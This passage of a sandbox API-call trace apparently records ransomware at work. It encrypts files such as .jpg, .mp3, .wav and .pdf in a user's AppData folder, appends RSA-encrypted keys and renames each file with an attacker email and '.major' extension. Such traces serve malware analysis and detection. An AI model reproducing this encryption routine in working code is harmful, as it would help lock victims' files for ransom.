pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.386] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.386] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.386] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="tNIbTbMMHGs/lRZkOFSFY6DCo4BzRswsgrx4BpAkK8VRVJ7NXDiTOYONLWFldIeR\nq2Pu9+wp0VrHxxzAcZLXICSW6QB8MKKA22KM4zmPJSAUNuQ69+/MmcFX0BQ9cB39\nmrwqyAEybVuJPJa4vI6ILQ+/b/Xzq3JKlVjrZM2bTWyP666CtVoYFS2F/8HkY07h\nbi5hDiOAUcfUImVdfQlmn4TxCmaJKSXLhkZ1YiY1GW4h1FJA0E0fG5uICDMIqxeQ\nOXsINdRwS8rHk9wqnyq1zfVZmqGxTC61Ti9nKQjTpZZC2m0Pe4Iw98kc6Ql+Q6Jh\nlZbMLyJc4+KH0PsFOb6kPQ==\n", pcchString=0x2e3f9a8) returned 1 [0155.386] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.386] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.386] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.386] CloseHandle (hObject=0x6a8) returned 1 [0155.386] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.386] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\oN9ww_0Ihya.ots" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\on9ww_0ihya.ots"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\oN9ww_0Ihya.ots.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\on9ww_0ihya.ots.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.387] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e730 | out: hHeap=0x570000) returned 1 [0155.387] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.387] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0155.387] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0155.387] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0155.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.388] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.388] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\O2vF28u35n5d.jpg", dwFileAttributes=0x80) returned 1 [0155.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0155.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e450 [0155.388] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0155.388] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\O2vF28u35n5d.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\o2vf28u35n5d.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.388] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=7737) returned 1 [0155.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1e39) returned 0x6538b0 [0155.388] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1e39) returned 0x6556f8 [0155.388] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x1e39, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x1e39, lpOverlapped=0x0) returned 1 [0155.389] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-7737, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.389] WriteFile (in: hFile=0x6a8, lpBuffer=0x6556f8*, nNumberOfBytesToWrite=0x1e39, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6556f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1e39, lpOverlapped=0x0) returned 1 [0155.389] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.389] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6556f8 | out: hHeap=0x570000) returned 1 [0155.389] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1e39 [0155.389] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.389] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.389] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.389] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.390] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.390] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.390] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ie1TgnraOldlbC0tS2BjcyRnygpairvIemO9RRm3ABfv9uqcQYNoB2TBcxeyH7c5\nivX81OsxRPSnq7P1hnNhDT33U06BjVxWyTDWnG4AZVEDnf1aCQV/H5HPzCnSr7CB\nqdd/gCMMRZdJwzb7C8E8qB8vOLRM7us7UdSIclzS9UUjLlw67CHVHUtZQSrtEys3\nDOzIbLmGz//leRrnroje4ujhlnZ64NBjYCWMx3qVKsJKQohrQnLB2xtZJECFtaSE\nBMvfExkhog4wJ1cVTc8UUEtiHCEeexKscsKxsh/FOdo/k6McsKjKKA4C3hOPttCn\nDJb053YRcB/sdBC4vn2edw==\n", pcchString=0x2e3f9a8) returned 1 [0155.390] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.390] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.390] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.390] CloseHandle (hObject=0x6a8) returned 1 [0155.390] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.390] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\O2vF28u35n5d.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\o2vf28u35n5d.jpg"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\O2vF28u35n5d.jpg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\o2vf28u35n5d.jpg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.396] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e450 | out: hHeap=0x570000) returned 1 [0155.396] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.396] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0155.397] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0155.397] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0155.397] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.397] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.397] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\LgcAqJUZEzD.mp3", dwFileAttributes=0x80) returned 1 [0155.397] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0155.397] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e5c0 [0155.397] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0155.397] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\LgcAqJUZEzD.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lgcaqjuzezd.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.397] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=80387) returned 1 [0155.397] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13a03) returned 0x2e61f30 [0155.397] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13a03) returned 0x2e75940 [0155.397] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x13a03, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x13a03, lpOverlapped=0x0) returned 1 [0155.400] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-80387, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.400] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e75940*, nNumberOfBytesToWrite=0x13a03, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e75940*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13a03, lpOverlapped=0x0) returned 1 [0155.400] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.400] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e75940 | out: hHeap=0x570000) returned 1 [0155.401] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13a03 [0155.401] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.401] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.401] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.401] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.401] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.401] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.401] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="0gHvyK1Lpwf2ui8SqssWIdX1oRNptlSMUU5hUFqNys92me8BH7GWfwTMJCwAQ8FD\nAbRxSOB5XLi+6iQ8ZanEtw0rBGtBSU/JsOytQCvJfLhi+TC2QfetRhcFEwV86uaz\na9kJULYEMl01/ImwzaXcdD5ow4ZQfMWD2jrCZiieQkpgsVS8Ap53J8GSpn1eu3f0\nymuzzidxQ8S3uncF5ak7gvQMNtI3p4tXBkYLfrE6kmZvi1WtXWAV1+eglWWd6MKV\nS+0UY97plmmpRIw3R9COC/NawQS8J1u8VqrGwZ5RaNs48SxTw4pt/rui63fpL2vD\nX6WxEjByE5SI0ulzoPRFNg==\n", pcchString=0x2e3f9a8) returned 1 [0155.401] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.401] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.401] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.402] CloseHandle (hObject=0x6a8) returned 1 [0155.402] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.402] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\LgcAqJUZEzD.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lgcaqjuzezd.mp3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\LgcAqJUZEzD.mp3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lgcaqjuzezd.mp3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.403] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0155.403] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.403] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0155.403] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b68b0 | out: hHeap=0x570000) returned 1 [0155.403] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0155.403] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.403] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.403] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\J wJP3QqtMQql1WF11F9.wav", dwFileAttributes=0x80) returned 1 [0155.403] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0155.404] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0155.404] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0155.404] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\J wJP3QqtMQql1WF11F9.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\j wjp3qqtmqql1wf11f9.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.404] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=43158) returned 1 [0155.404] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa896) returned 0x6538b0 [0155.404] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa896) returned 0x2e61f30 [0155.404] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xa896, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xa896, lpOverlapped=0x0) returned 1 [0155.406] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-43158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.406] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0xa896, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa896, lpOverlapped=0x0) returned 1 [0155.406] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.406] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.406] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa896 [0155.406] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.406] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.406] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.406] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.406] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.406] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.406] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="v594wIBimowwclW5X3Ok+CLSXnFCdMlifrS8u3aRNyXTwoF1isvR+9KPuN38zgXL\nnKV+yG4IfO8PmCca0K6L7Cly5Sr+JGUJ94HlUGBYJNUfgOSTasgk+I/vg1mvq/CB\nGuY1fiCzyzgXhjkqns+AOnf5MiJ58VraJ4bCg9r7rluxgCEzF1crjv/GlYBdH/Zd\nhJDD81j43QNLnEQG/d5WTSLoUSr9pb666kBtSTrHWyej82ruf5Dpnyjc0AhE1trQ\nxEOdUOY2RaL/qRR1CnDwFd9QmSgboxYgU81ZABDENZVZ/ePfMtAJms5ccLb7S1wR\nL0Xl7sE4E6ao9mnHWA8BkA==\n", pcchString=0x2e3f9a8) returned 1 [0155.407] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.407] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.407] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.407] CloseHandle (hObject=0x6a8) returned 1 [0155.407] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.407] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\J wJP3QqtMQql1WF11F9.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\j wjp3qqtmqql1wf11f9.wav"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\J wJP3QqtMQql1WF11F9.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\j wjp3qqtmqql1wf11f9.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0155.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0155.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0155.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0155.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.411] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.411] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\iN9p 5c.pdf", dwFileAttributes=0x80) returned 1 [0155.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0155.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0155.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0155.411] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\iN9p 5c.pdf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\in9p 5c.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.411] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=94743) returned 1 [0155.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17217) returned 0x2e61f30 [0155.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17217) returned 0x2e79150 [0155.412] ReadFile (in: hFile=0x6a8, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x17217, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x17217, lpOverlapped=0x0) returned 1 [0155.414] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-94743, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.414] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e79150*, nNumberOfBytesToWrite=0x17217, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e79150*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17217, lpOverlapped=0x0) returned 1 [0155.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e79150 | out: hHeap=0x570000) returned 1 [0155.416] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17217 [0155.416] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.416] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.416] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.416] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.416] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.416] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.416] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="QDBZhAkKQd5wu9D0MTDvfvjZLCdtnlmdeOosvNtkVtyM5jSd3Zm1hb7NlORGok7M\nnI9gvWZ/2u/UyNfAG462hmrJs+6ScAmH7WdrAyZIJRWK5IZnuIR7KmzmSR15t4vD\nV8xKMWt9ypgUxgA07QDdiH3aC7G8iyoia0bUeZUDQ4KhDD6BcB57js5aYhhP68s6\nQqSADQEoDd7AsRY4LMXX3OzJR6XVf+B0xrg1I+aB9DfBULfDjbGDq9bGLdrmdUgW\niu+4D9oQnzRUT5xhnRZtvjLCbtyv2uiCdLnv2TArQDhn36JfvKUXt2vHkqIg6YSF\nPwSxSB77grrYsJFpBS/CcQ==\n", pcchString=0x2e3f9a8) returned 1 [0155.416] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, 